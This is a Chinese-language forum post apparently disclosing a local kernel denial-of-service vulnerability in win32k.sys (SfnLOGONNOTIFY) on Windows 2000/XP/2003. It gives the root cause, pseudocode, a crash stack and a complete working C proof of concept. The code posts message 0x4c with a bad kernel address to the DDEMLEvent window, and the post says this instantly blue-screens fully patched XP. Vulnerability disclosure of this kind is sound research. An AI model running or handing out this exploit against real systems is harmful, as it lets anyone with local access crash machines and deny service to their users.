好友
阅读权限10
听众
最后登录1970-1-1
|
Windows 2000/XP/2003 win32k.sys SfnLOGONNOTIFY 本地内核拒绝服务漏洞Windows 2000/XP/2003 win32k.sys SfnLOGONNOTIFY 本地内核拒绝服务漏洞
影响范围:Microsoft Windows 2000/XP/2003 全补丁
漏洞细节:
Win32k.sys 在DispatchMessage时,会最后调用到xxxDefWindowProc,这个函数在处理某些消息时,会调用gapfnScSendMessage这个函数表中的函数来处理,其中2000/xp/2003下在处理0x4c号消息时,会有一个名为SfnLOGONNOTIFY 的函数,这个函数再当wParam == 4/13/12时,直接从lParam里取出数据,尽管函数内使用了SEH,但是只要传递错误的内核地址,仍然会引发系统崩溃
伪代码:
if ( wParam == 4 || wParam == 13 || wParam == 12 )
{
v18 = *(_DWORD *)lParam;
v19 = *(_DWORD *)(lParam + 4);
v20 = *(_DWORD *)(lParam + 8);
v21 = *(_DWORD *)(lParam + 12);
测试代码:
#include "stdafx.h"
#include "windows.h"
int main(int argc, char* argv[])
{
printf("Microsoft Windows Win32k.sys SfnLOGONNOTIFY Local D.O.S Vuln\nBy MJ0011\nth_decoder@126.com\nPressEnter");
getchar();
HWND hwnd = FindWindow("DDEMLEvent" , NULL);
if (hwnd == 0 )
{
printf("cannot find DDEMLEvent Window!\n");
return 0 ;
}
PostMessage(hwnd , 0x4c , 0x4 , 0x80000000);
return 0 ;
}
全补丁的XP运行此代码立即蓝屏
常见崩溃栈:
kd> kc
win32k!SfnLOGONNOTIFY
win32k!xxxDefWindowProc
win32k!xxxEventWndProc
win32k!xxxDispatchMessage
win32k!NtUserDispatchMessage
....
Windows 7/Vista 无此问题
感谢:
感谢同事LYL帮忙测试发现此漏洞 |
|
发帖前要善用【论坛搜索】功能,那里可能会有你要找的答案或者已经有人发布过相同内容了,请勿重复发帖。 |
|
|
|
|